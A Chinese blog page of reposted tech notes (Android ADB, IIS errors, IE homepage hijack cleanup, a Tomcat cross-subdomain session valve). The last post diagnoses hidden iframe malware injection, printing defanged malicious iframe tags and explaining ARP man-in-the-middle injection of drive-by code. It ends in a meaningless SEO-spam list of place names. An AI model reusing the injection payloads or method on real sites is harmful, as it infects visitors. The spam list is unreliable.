world_eyes

          記錄點(diǎn)滴的地方

            BlogJava :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理 ::
            10 隨筆 :: 3 文章 :: 1 評論 :: 0 Trackbacks

          2010年6月4日 #

            在Android的應(yīng)用程序開發(fā)中,通常使用的是Java語言,除了要熟悉Java語言的基礎(chǔ)外,還需要了解Android提供的Java擴(kuò)展功能。

          一、重要包描述

          Android.app:提供高層的程序模型、提供基本的運(yùn)行環(huán)境。

          Android.content:包含對各種的設(shè)備上的數(shù)據(jù)進(jìn)行訪問和發(fā)布的類。

          Android.database:通過內(nèi)容提供者瀏覽和操作數(shù)據(jù)庫。

          Android.graphics:底層的圖形庫,包含畫布、顏色過濾、點(diǎn)、矩形,可以將它們直接繪制到屏幕上。

          Android.location:定位和服務(wù)的相關(guān)類。

          Android.media:提供了一些管理音頻視頻的媒體接口的相關(guān)類。

          Android.net提供了關(guān)于網(wǎng)絡(luò)訪問的類,超過通常的java.net.*接口。

          Android.os:提供了系統(tǒng)服務(wù),消息傳輸,IPC機(jī)制。

          Android.opengl:提供了OpenGL的工具。

          Android.provider:提供類訪問Android的內(nèi)容提供者。

          Android.telephony:提供與撥打電話相關(guān)的API交互

          Android.view:提供基本的用戶界面接口框架。

          Android.util:涉及工具性的方法,例如時(shí)間日期型的操作。

          Android.webkit:默認(rèn)瀏覽器操作接口。

          Android.widget:包含各種U元素,在應(yīng)用程序的屏幕中使用。

          二、Android的相關(guān)文件類型概述

          Java文件---應(yīng)用程序源文件

          Android的應(yīng)用必須使用Java來開發(fā)。

          Class文件---Java編譯后的目標(biāo)文件。

          不想J2SE,java編譯成class文件就直接可以運(yùn)行,Android平臺上的class 文件不能直接在Android平臺上運(yùn)行。由于google使用了自己的Dalvik來運(yùn)行應(yīng)用,所以這里的class也肯定不能在Android Dalvik上運(yùn)行,Androidclass文件實(shí)際上只是編譯過程的中間目標(biāo)文件,需要鏈接成Dex文件才能運(yùn)行在Dalvik上。

          Dex文件---Android平臺上的可執(zhí)行文件。

          Dalvik執(zhí)行的并非是Java字節(jié)碼,而是另一種字節(jié)碼:dex格式的字節(jié)碼(Java字節(jié)碼->dex字節(jié)碼)。Dalvik可以執(zhí)行許多VM而不會占用太多的Resource.

          APK 文件---Android上的安裝文件

          APKAndroid安裝包的擴(kuò)展名,一個(gè)Android安裝包包含了與某個(gè)應(yīng)用程序相關(guān)的所有文件,APK文件將AndroidMainfest.xml文件、應(yīng)用程序代碼(DEX)文件、資源文件和其他文件打成一個(gè)壓縮包。一個(gè)工程只能打進(jìn)一個(gè).apk文件。

           

          三、Android ADB工具的使用

          ADBAndroid提供的一個(gè)通用調(diào)試工具,借助這個(gè)工具,我們管理手機(jī)模擬器的狀態(tài)。

          1.ADB功能操作

          快速更新設(shè)備或手機(jī)模擬器的代碼,如應(yīng)用或Android系統(tǒng)升級。

          在設(shè)備上運(yùn)行shell命令

          管理設(shè)備或手機(jī)模擬器上的預(yù)定接口

          在設(shè)備或手機(jī)模擬器上復(fù)制、粘貼文件

          2.ADB的常用操作

          安裝應(yīng)用到模擬器

          adb install app.apk

          Android沒有提供一個(gè)卸載應(yīng)用的命令,只能手動(dòng)刪除:

          Adb shell

          Cd data/app

          Rm.app.apk

          進(jìn)入設(shè)備或模擬器的shell

          Adb shell

          通過以上命令,可以進(jìn)入設(shè)備或模擬器的shell環(huán)境中,在這個(gè)shell中,你可以執(zhí)行各種Linux的命令,另外如果只想執(zhí)行一條shell命令,可以采用以下方式:

          Adb shell[command]

          如:

          Adb shell emesg

          會打印出內(nèi)核的調(diào)試信息

          發(fā)布端口

          可以設(shè)置任意的端口號,作為主機(jī)箱模擬器或設(shè)備的請求端口。如:

          Adb forward tcp 5555 tcp8000

          復(fù)制文件

          復(fù)制一個(gè)文件或目錄到設(shè)備或模擬器上;

          Adb push

          如:

          Adb push test.txt/tmp/test.txt

          Adb pull

          如:

          Adb pull /Android/lib/libwebcore.os

          搜索/等待模擬器、設(shè)備實(shí)例

          取得當(dāng)前運(yùn)行的模擬器、設(shè)備的實(shí)例列表及每個(gè)實(shí)例的狀態(tài)或等待正在運(yùn)行的設(shè)備

          Adb devices 

          Adb wait-for-device

          查看debug報(bào)告

          Adb bugreport

          記錄無線通信日志

          無線通信日志非常多,在運(yùn)行時(shí)沒必要記錄,可以通過命令設(shè)置記錄

          Adb shell

          Logcat -b radio

          獲取設(shè)備ID和序列號

          Adb get-product 

          Adb get-serialno

          訪問數(shù)據(jù)庫SQLite3

          Adb shell

          Sqlite3

          posted @ 2011-03-09 10:25 world_eyes 閱讀(351) | 評論 (0)編輯 收藏

          轉(zhuǎn)載來的,遇到這樣問題的朋友應(yīng)該不多,我是配置好環(huán)境了,也裝了個(gè)PHP的CMS測試過了,PHPMYADMIN運(yùn)行也正常,但是運(yùn)行另外一套 PHP網(wǎng)站程序就出現(xiàn)HTTP 500服務(wù)器內(nèi)部錯(cuò)誤,還好找到了解決辦法!

          感謝Oliver分享,原文 地址:http://tech.flyingcat.cn/?p=212

          在IIS + PHP的環(huán)境下安裝phpmyadmin或wordpress的時(shí)候經(jīng)常會發(fā)生一個(gè)奇怪的現(xiàn)象,例如:phpmyadmin安裝的web文件夾根目錄的話 打開顯示HTTP 500服務(wù)器內(nèi)部錯(cuò)誤,但將網(wǎng)站放到一個(gè)子目錄下就沒問題。
          這個(gè)問題的原因在于phpmyadmin和wordpress等程序的index.php文件中都用到了require(./xxx.php)這樣的語 句。

          解決辦法1
          把里面的require(./xxx.php)改成 require(xxx.php)。

          解決辦法2
          給網(wǎng)站的上級目錄賦予iis用戶讀權(quán)限。

          posted @ 2010-06-08 10:19 world_eyes 閱讀(8789) | 評論 (1)編輯 收藏

          經(jīng)常有朋友在安裝某種小軟件后,IE主頁被篡改,而你在ie選項(xiàng)里改回來后,再打開又時(shí)主頁又變成了另外一個(gè)網(wǎng)址。這說明這個(gè)流氓軟件在注冊表里還 有別的 窠,這些可能位置都有哪些呢?我們根據(jù)有限經(jīng)驗(yàn),先列出最重要的這幾條,期待朋友們補(bǔ)充更多的發(fā)現(xiàn)。點(diǎn)擊開始-運(yùn)行-輸入regedit回車,依次找到如 下位置——當(dāng)然,筆者推薦使用Registry Workshop軟件,可以直接粘 貼以下地址回車,并將該地址添加到收藏夾,以后舊的不用再找,新的也可見者收藏。

          1、internet選項(xiàng)對應(yīng)的注冊表值:

          HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page

          這項(xiàng)的值和ie選項(xiàng)里的主頁是同步的,可以先試試。convert swf to avi

          2、綁定ie主程序運(yùn)行參數(shù):

          HKEY_CLASSES_ROOTApplicationsiexplore.exeshellopencommand

          這項(xiàng)的正常值是”C:Program FilesInternet ExplorerIEXPLORE.EXE” %1,流氓軟件將自己的網(wǎng)址附加在后面當(dāng)作一個(gè)運(yùn)行參數(shù),那么打開ie主程序時(shí)就會自動(dòng)跳轉(zhuǎn)到該網(wǎng)址,這招夠狠。

          3、 綁定ie窗體控件ieframe.dll主頁命令:

          HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand

          這項(xiàng)的默認(rèn)值是”C:Program FilesInternet Exploreriexplore.exe”,同樣,流氓網(wǎng)址可能附加在后面,攔截主頁。

          4、綁定ie快捷方式運(yùn)行目標(biāo):

          還有一種在注冊表里無論如何也搜索不到,卻遠(yuǎn)在天邊近在眼前的手段,就是修改了ie 快捷方式屬性里的運(yùn)行目標(biāo)。注意是快捷方式,不是桌面默認(rèn)顯示的ie圖標(biāo)。正常的ie快捷方式有四種

          可以看出上面三個(gè)ie快捷方式依次是由桌面ie圖標(biāo)創(chuàng)建、由開始菜單頂端ie圖標(biāo)創(chuàng)建、由系統(tǒng)盤ie主程序創(chuàng)建的(當(dāng)然如果你隱藏了擴(kuò)展名,第三個(gè) 快捷 方式就沒有.exe后綴),flv player 第四種是在開始按鈕右邊快速啟動(dòng)欄上的“啟動(dòng)Internet Explorer”圖標(biāo)。右鍵查看這些快捷方式屬性

          筆者快速啟動(dòng)欄已刪除啟動(dòng)ie的圖標(biāo),擱筆追思,遠(yuǎn)求而來,故上面窗口略顯異域。這兩個(gè) 快捷方式,目標(biāo)默認(rèn)值都是”C:Program FilesInternet Exploreriexplore.exe”,這下病毒又有空可鉆了,只要把自己的網(wǎng)址追加到后面,那么你經(jīng)這個(gè)圖標(biāo)打開ie時(shí),就會立即跳到它的網(wǎng) 址,真是無所不用其極。

          所以筆者建議,如果主頁被篡改并改不回來了,請先右鍵你 啟動(dòng)ie時(shí)所打開的快捷方式,看屬性“目標(biāo)”后面有無追加網(wǎng)址,有則刪之;不行的話就去注冊表里查看那些可能位置:

          HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page
          HKEY_CLASSES_ROOTApplicationsiexplore.exeshellopencommand
          HKEY_CLASSES_ROOTCLSID{871C5380-42A0-1069-A2EA-08002B30309D}shellOpenHomePageCommand

          看值的后面有沒有“尾巴”,這些網(wǎng)址有時(shí)可能是亂碼,全部剪掉,swf to mov回 復(fù)默認(rèn)值,主頁就改回來 了。這樣只是暫時(shí)堵住,若想徹底杜絕,請先卸載新安裝的流氓軟件,以后也莫亂逛網(wǎng)站或接受推薦下載安裝那些你以為是發(fā)現(xiàn)新天地其實(shí)可 能早已臭名昭著的小流氓。當(dāng)然,如果你熟悉了更多的篡改主頁伎倆,就不用有這些顧慮了。筆者再次推薦注冊表管理軟件Registry Workshop,平時(shí)多積累自己的 發(fā)現(xiàn),保持“與毒俱進(jìn)”,將病毒流氓的伎倆盡收囊中。那么以后就可以高枕無憂了。

          posted @ 2010-06-04 18:04 world_eyes 閱讀(382) | 評論 (0)編輯 收藏

               Tomcat下,不同的二級域名,Session默認(rèn)是不共享的,因?yàn)镃ookie名稱為JSESSIONID的Cookie根域是默認(rèn)是沒設(shè)置的,訪問 不同的二級域名,其Cookie就重新生成,而session就是根據(jù)這個(gè)Cookie來生成的,所以在不同的二級域名下生成的Session也不一樣。 找到了其原因,就可根據(jù)這個(gè)原因?qū)omcat在生成Session時(shí)進(jìn)行相應(yīng)的修改(注:本文針對Tomcat 6.0)。

               單個(gè)web項(xiàng)目運(yùn)行在tomcat上但是卻使用多個(gè)子域名,如:

           - site.com
           - www.site.com
           - sub1.site.com
           - sub2.site.com
           - etc.

           

          這樣會導(dǎo)致session的不能共享,在網(wǎng)絡(luò)上查找的并卻最快的解決辦法。

           

          解決辦法:

          Usage:
           - compile CrossSubdomainSessionValve & put it in a .jar file
           - put that .jar file in $CATALINA_HOME/lib directory
           - include a <Valve className="org.three3s.valves.CrossSubdomainSessionValve"/> in
          $CATALINA_HOME/conf/server.xml

          package org.three3s.valves;

          import java.io.*;

          import javax.servlet.*;
          import javax.servlet.http.*;

          import org.apache.catalina.*;
          import org.apache.catalina.connector.*;
          import org.apache.catalina.valves.*;
          import org.apache.tomcat.util.buf.*;
          import org.apache.tomcat.util.http.*;

          /**
           * <p>
           * Replaces the domain of the session cookie generated by Tomcat with a domain
           * that allows that session cookie to be shared across subdomains. This valve
           * digs down into the response headers and replaces the Set-Cookie header for
           * the session cookie, instead of futilely trying to modify an existing Cookie
           * object like the example at 
          http://www.esus.be/blog/?p=3. That approach does
           * not work (at least as of Tomcat 6.0.14) because the
           * <code>org.apache.catalina.connector.Response.addCookieInternal</code> method
           * renders the cookie into the Set-Cookie response header immediately, making
           * any subsequent modifying calls on the Cookie object ultimately pointless.
           * </p>
           * 
           * <p>
           * This results in a single, cross-subdomain session cookie on the client that
           * allows the session to be shared across all subdomains. However, see the
           * {
          @link getCookieDomain(Request)} method for limits on the subdomains.
           * </p>
           * 
           * <p>
           * Note though, that this approach will fail if the response has already been
           * committed. Thus, this valve forces Tomcat to generate the session cookie and
           * then replaces it before invoking the next valve in the chain. Hopefully this
           * is early enough in the valve-processing chain that the response will not have
           * already been committed. You are advised to define this valve as early as
           * possible in server.xml to ensure that the response has not already been
           * committed when this valve is invoked.
           * </p>
           * 
           * <p>
           * We recommend that you define this valve in server.xml immediately after the
           * Catalina Engine as follows:
           * 
           * <pre>
           * &lt;Engine name=&quot;Catalina&quot;&gt;
           *     &lt;Valve
           * className=&quot;org.three3s.valves.CrossSubdomainSessionValve&quot;/&gt;
           * </pre>
           * 
           * </p>
           
          */
          public class CrossSubdomainSessionValve extends ValveBase {
              
          public CrossSubdomainSessionValve() {
                  
          super();
                  info 
          = "org.three3s.valves.CrossSubdomainSessionValve/1.0";
              }

              @Override
              
          public void invoke(Request request, Response response) throws IOException, ServletException {
                  
          // this will cause Request.doGetSession to create the session cookie if
                  
          // necessary
                  request.getSession(true);

                  
          // replace any Tomcat-generated session cookies with our own
                  Cookie[] cookies = response.getCookies();
                  
          if (cookies != null) {
                      
          for (int i = 0; i < cookies.length; i++) {
                          Cookie cookie 
          = cookies[i];
                          
          // System.out.println("CrossSubdomainSessionValve: Cookie name is "
                          
          // + cookie.getName());
                          if (Globals.SESSION_COOKIE_NAME.equals(cookie.getName())) replaceCookie(request, response, cookie);
                      }
                  }

                  
          // process the next valve
                  getNext().invoke(request, response);
              }

              
          /**
               * Replaces the value of the response header used to set the specified
               * cookie to a value with the cookie's domain set to the value returned by
               * <code>getCookieDomain(request)</code>
               * 
               * 
          @param request
               * 
          @param response
               * 
          @param cookie
               *            cookie to be replaced.
               
          */
              
          protected void replaceCookie(Request request, Response response, Cookie cookie) {
                  
          // copy the existing session cookie, but use a different domain
                  Cookie newCookie = new Cookie(cookie.getName(), cookie.getValue());
                  
          // System.out.println("CrossSubdomainSessionValve: CookiePath is " +
                  
          // cookie.getPath());
                  if (cookie.getPath() != null) newCookie.setPath(cookie.getPath());
                  String domain 
          = getCookieDomain(request);
                  
          if (!".piaoyoo.com".equals(domain)) domain = request.getServerName();
                  
          // System.out.println("CrossSubdomainSessionValve: CookieDomain is " +
                  
          // domain);
                  newCookie.setDomain(domain);
                  newCookie.setMaxAge(cookie.getMaxAge());
                  newCookie.setVersion(cookie.getVersion());
                  
          // System.out.println("CrossSubdomainSessionValve: CookieComment is " +
                  
          // cookie.getComment());
                  if (cookie.getComment() != null) newCookie.setComment(cookie.getComment());
                  newCookie.setSecure(cookie.getSecure());

                  
          // if the response has already been committed, our replacement strategy
                  
          // will have no effect
                  if (response.isCommitted()) System.out.println("Error CrossSubdomainSessionValve: response was already committed!");

                  
          // find the Set-Cookie header for the existing cookie and replace its
                  
          // value with new cookie
                  MimeHeaders headers = response.getCoyoteResponse().getMimeHeaders();
                  
          for (int i = 0, size = headers.size(); i < size; i++) {
                      
          if (headers.getName(i).equals("Set-Cookie")) {
                          MessageBytes value 
          = headers.getValue(i);
                          
          if (value.indexOf(cookie.getName()) >= 0) {
                              StringBuffer buffer 
          = new StringBuffer();
                              ServerCookie.appendCookieValue(buffer, newCookie.getVersion(), newCookie.getName(), newCookie.getValue(),
                                      newCookie.getPath(), newCookie.getDomain(), newCookie.getComment(), newCookie.getMaxAge(), newCookie
                                              .getSecure());
                              
          // System.out.println("CrossSubdomainSessionValve: old Set-Cookie value: "
                              
          // + value.toString());
                              
          // System.out.println("CrossSubdomainSessionValve: new Set-Cookie value: "
                              
          // + buffer);
                              
          // System.out.println("-----------------------------");
                              value.setString(buffer.toString());
                          }
                      }
                  }
              }

              
          /**
               * Returns the last two parts of the specified request's server name
               * preceded by a dot. Using this as the session cookie's domain allows the
               * session to be shared across subdomains. Note that this implies the
               * session can only be used with domains consisting of two or three parts,
               * according to the domain-matching rules specified in RFC 2109 and RFC
               * 2965.
               * 
               * <p>
               * Examples:
               * </p>
               * <ul>
               * <li>foo.com => .foo.com</li>
               * <li>www.foo.com => .foo.com</li>
               * <li>bar.foo.com => .foo.com</li>
               * <li>abc.bar.foo.com => .foo.com - this means cookie won't work on
               * abc.bar.foo.com!</li>
               * </ul>
               * 
               * 
          @param request
               *            provides the server name used to create cookie domain.
               * 
          @return the last two parts of the specified request's server name
               *         preceded by a dot.
               
          */
              
          protected String getCookieDomain(Request request) {
                  String cookieDomain 
          = request.getServerName();
                  String[] parts 
          = cookieDomain.split("\\.");
                  
          if (parts.length >= 2) cookieDomain = parts[parts.length - 2+ "." + parts[parts.length - 1];
                  
          return "." + cookieDomain;
              }

              
          public String toString() {
                  
          return ("CrossSubdomainSessionValve[container=" + container.getName() + ']');
              }
          }



          posted @ 2010-06-04 17:17 world_eyes 閱讀(1683) | 評論 (0)編輯 收藏


          一臺服務(wù)器幾乎所有網(wǎng)站打開網(wǎng)頁 甚至HTML網(wǎng)頁 都出現(xiàn)了

          <i*f*r*a*m*e src="http://xxx.xx.htm" height=0 width=0></<i*f*r*a*m*e>
          這種樣式的代碼 有的在頭部 有的在尾部 部分殺毒軟件打開會報(bào)毒

          打開HTML或ASP PHP頁面 在源碼中怎么也找不到這段代碼

          分析原因

          首先懷疑ARP掛馬,用防ARP的工具又沒有發(fā)現(xiàn)有arp欺騙

          而且arp欺騙一般不會每次都被插入代碼,而是時(shí)有時(shí)無

          而且使用http://127.0.0.1 或者http://localhost 訪問的時(shí)候也可以找到這段代碼

          arp欺騙的可能排除。

          然后就想到可能是JS被篡改,或者是其它的包含文件,查找后沒有發(fā)現(xiàn)被改的頁面 連新建的HTML頁面瀏覽的時(shí)候也會被插入這段代碼,那就只能是通過IIS掛上去的了。

          備份iis數(shù)據(jù)然后重裝iis,代碼消失,將備份的iis恢復(fù),問題又來了。


          仔細(xì)尋找,問題應(yīng)該出在IIS的配置文件上,打開配置文件,沒有發(fā)現(xiàn)那段代碼。

          那很有可能是調(diào)用了某個(gè)文件,這個(gè)怎么查啊,忽然想起了大名鼎鼎的Filemon

          本地載了一個(gè)上傳到服務(wù)器上,,打開Filemon,數(shù)據(jù)太多了,過濾掉一些沒有用的

          只留下iis的進(jìn)程,數(shù)據(jù)還是很多,看來服務(wù)器上的站點(diǎn)還是挺多人在訪問的。

          關(guān)掉所有站點(diǎn),建了一個(gè)測試站點(diǎn)anky 目錄為D:\www\ 在下面建了一個(gè)空白頁面test.htm

          訪問一下這個(gè)頁面代碼被插進(jìn)來了,再看一下Filemon 奇怪怎么讀取C:\Inetpub\wwwroot\iisstart.htm

          打開C:\Inetpub\wwwroot\iisstart.htm一看,里面就躺著

          <<i*f*r*a*m*e src="http://xx.xxx.jj.htm" height=0 width=0></<i*f*r*a*m*e>

          把代碼刪除了留空,訪問test.htm 正常了,把C:\Inetpub\wwwroot\iisstart.htm刪除了再訪問

          test.htm 出現(xiàn) “讀取數(shù)據(jù)頁腳文件出錯(cuò)”問題就出這里了,看來是調(diào)用了

          這個(gè)文件。


          把C:\Inetpub\wwwroot\iisstart.htm清空就正常了,這樣怎么行,解決問題當(dāng)然要連根拔掉。

          continue

          有沒有可能是擴(kuò)展造成的,到擴(kuò)展中檢查了一遍全部都是正常的

          當(dāng)然 通過ISAPI 掛馬的也是存在的

          左想右想最后還是覺得配置文件有問題

          打開配置文件,配置文件在%windir%\system32\inetsrv\Metabase.xml

          用記事本打開,查找iisstart.htm 找到一行,開始以為是默認(rèn)站點(diǎn),后來一想不對啊

          默認(rèn)站點(diǎn)都刪除了,再仔細(xì)一看這句代碼為

          DefaultDocFooter="FILE:C:\Inetpub\wwwroot\iisstart.htm"

          刪除掉這一行,問題徹底解決了。

          ==========================================================================
          現(xiàn)象:不管是訪問服務(wù)器上的任何網(wǎng)頁,就連404的頁面也會在<html>后加入
          <<i*f*r*a*m*e SRc=http://xxx.xxx.com/k.htm width=1 height=1 frameborder=0></<i*f*r*a*m*e>,掛馬的位置在html標(biāo)記左右,上面這段惡意代碼,它會每隔幾秒 加入代碼,也就是說在輸出具體的東西之前就被掛了,有時(shí)有有時(shí)又沒有,不是網(wǎng)頁源代碼問題,也沒有在網(wǎng)頁源代碼中加入惡意代碼,即使重裝服務(wù)器,格式化重 分區(qū)過第一個(gè)硬盤,放上去網(wǎng)站沒多久一樣再會出現(xiàn)這種情況。


          首先就排除了網(wǎng)站被入侵的可能,因?yàn)槭醉撃芗釉谀莻€(gè)位置只能是title的地方,用js控制也不大可能.然后去看了php.ini的設(shè)置也沒有任何的異 常,而且這個(gè)插入的代碼有的時(shí)候出現(xiàn)有的時(shí)候不出現(xiàn),說明不是網(wǎng)站的問題了.打開同服務(wù)器的其他網(wǎng)站也有這個(gè)情況發(fā)生,而且狀況一一樣.檢查并且搜索掛馬 的關(guān)鍵字之后確定不是網(wǎng)站程序的問題.

          那么剩下的要么是IIS自己出了問題,要么是網(wǎng)絡(luò)的問題,因?yàn)閿?shù)據(jù)是處理沒有問題(這個(gè)由程序輸出,而且即使是html都會出問題),經(jīng)過一個(gè)一個(gè)排查, 最后基本可以確定就是arp欺騙欺騙數(shù)據(jù)報(bào)走向,然后中間人修改一些定義的關(guān)鍵字.因?yàn)槭蔷W(wǎng)絡(luò)層次有問題(所以重做系統(tǒng)是沒有用的).


          目的:通過arp欺騙來直接掛馬
          優(yōu)點(diǎn):可以直接通過arp欺騙來掛馬.

          通常的arp欺騙的攻擊方式是在同一vlan下,控制一臺主機(jī)來監(jiān)聽密碼,或者結(jié)合ssh中間人攻擊來監(jiān)聽ssh1的密碼.
          但這樣存在局限性:
          1.管理員經(jīng)常不登陸,那么要很久才能監(jiān)聽到密碼
          2.目標(biāo)主機(jī)只開放了80端口,和一個(gè)管理端口,且80上只有靜態(tài)頁面,那么很難利用.而管理端口,如果是3389終端,或者是ssh2,那么非常難監(jiān)聽 到密碼.

          優(yōu)點(diǎn):
          1.可以不用獲得目標(biāo)主機(jī)的權(quán)限就可以直接在上面掛馬
          2.非常隱蔽,不改動(dòng)任何目標(biāo)主機(jī)的頁面或者是配置,在網(wǎng)絡(luò)傳輸?shù)倪^程中間直接插入掛馬的語句.
          3.可以最大化的利用arp欺騙,從而只要獲取一臺同一vlan下主機(jī)的控制權(quán),就可以最大化戰(zhàn)果.


          原理:arp中間人攻擊,實(shí)際上相當(dāng)于做了一次代理。

          正常時(shí)候: A---->B ,A是訪問的正常客戶,B是要攻擊的服務(wù)器,C是被我們控制的主機(jī)
          arp中間人攻擊時(shí)候: A---->C---->B
          B---->C---->A
          實(shí)際上,C在這里做了一次代理的作用

          那么HTTP請求發(fā)過來的時(shí)候,C判斷下是哪個(gè)客戶端發(fā)過來的包,轉(zhuǎn)發(fā)給B,然后B返回HTTP響應(yīng)的時(shí)候,在HTTP響應(yīng)包中,插入一段掛馬的代碼,比 如<愛生活,愛貓撲>...之類,再將修改過的包返回的正常的客戶A,就起到了一個(gè)掛馬的作用.在這個(gè)過程中,B是沒有任何感覺的,直接攻擊 的是正常的客戶A,如果A是管理員或者是目標(biāo)單位,就直接掛上馬了.

          什么是ARP?

          英文原義:Address Resolution Protocol 
          中文釋義:(RFC-826)地址解析協(xié)議 局域網(wǎng)中,網(wǎng)絡(luò)中實(shí)際傳輸?shù)氖?#8220;幀”,幀里面是有目標(biāo)主機(jī)的MAC地址的。所謂“地址解析”就是主機(jī)在
          發(fā)送幀前將目標(biāo)IP地址轉(zhuǎn)換成目標(biāo)MAC地址的過程。ARP協(xié)議的基本功能就是通過目標(biāo)設(shè)備的IP地址,查詢目標(biāo)設(shè)備的MAC地址以保證通信的順利進(jìn) 行。 

          注解:簡單地說,ARP協(xié)議主要負(fù)責(zé)將局域網(wǎng)中的32為IP地址轉(zhuǎn)換為對應(yīng)的48位物理地址,即網(wǎng)卡的MAC地址,比如IP地址為192.168.0.1 網(wǎng)卡MAC地址為00-03-0F-FD-1D-2B。整個(gè)轉(zhuǎn)換過程是一臺主機(jī)先向目標(biāo)主機(jī)發(fā)送包含IP地址信息的廣播數(shù)據(jù)包,即ARP請求,然后目標(biāo)主 機(jī)向該主機(jī)發(fā)送一個(gè)含有IP地址和MAC地址數(shù)據(jù)包,通過MAC地址兩個(gè)主機(jī)就可以實(shí)現(xiàn)數(shù)據(jù)傳輸了。 

          應(yīng)用:在安裝了以太網(wǎng)網(wǎng)絡(luò)適配器的計(jì)算機(jī)中都有專門的ARP緩存,包含一個(gè)或多個(gè)表,用于保存IP地址以及經(jīng)過解析的MAC地址。在Windows中要查 看或者修改ARP緩存中的信息,可以使用arp命令來完成,比如在Windows XP的命令提示符窗口中鍵入“arp -a”或“arp -g”可以查看ARP緩存中的內(nèi)容;鍵入“arp -d IPaddress”表示刪除指定的IP地址項(xiàng)(IPaddress表示IP地址)。arp命令的其他用法可以鍵入“arp /?”查看到。
          ============================================================================
          解決方案如下:

          聯(lián)系機(jī)房,用撥網(wǎng)線的排除法,找出同路由內(nèi)中了類似47555病毒的機(jī)器,隔離。殺毒。

          其他機(jī)器,遇到這種情況,重裝系統(tǒng)是沒用的。

          Asion注:  ARP和掛馬 有很深的學(xué)問

          來源:http://i.mop.com/Noisa/blog/2008/03/13/6264338.html

          posted @ 2010-06-04 16:04 world_eyes 閱讀(635) | 評論 (0)編輯 收藏

          主站蜘蛛池模板: 海门市| 汝城县| 台东县| 武城县| 鸡东县| 综艺| 西充县| 临猗县| 会东县| 盐亭县| 游戏| 平阴县| 分宜县| 黄石市| 得荣县| 陵川县| 旅游| 拉萨市| 桑日县| 原阳县| 平度市| 林甸县| 班戈县| 晋江市| 白水县| 原阳县| 和田县| 台山市| 田阳县| 临泉县| 铜川市| 绥棱县| 龙口市| 景东| 嵊泗县| 新兴县| 荣昌县| 怀来县| 保定市| 通榆县| 苏尼特右旗|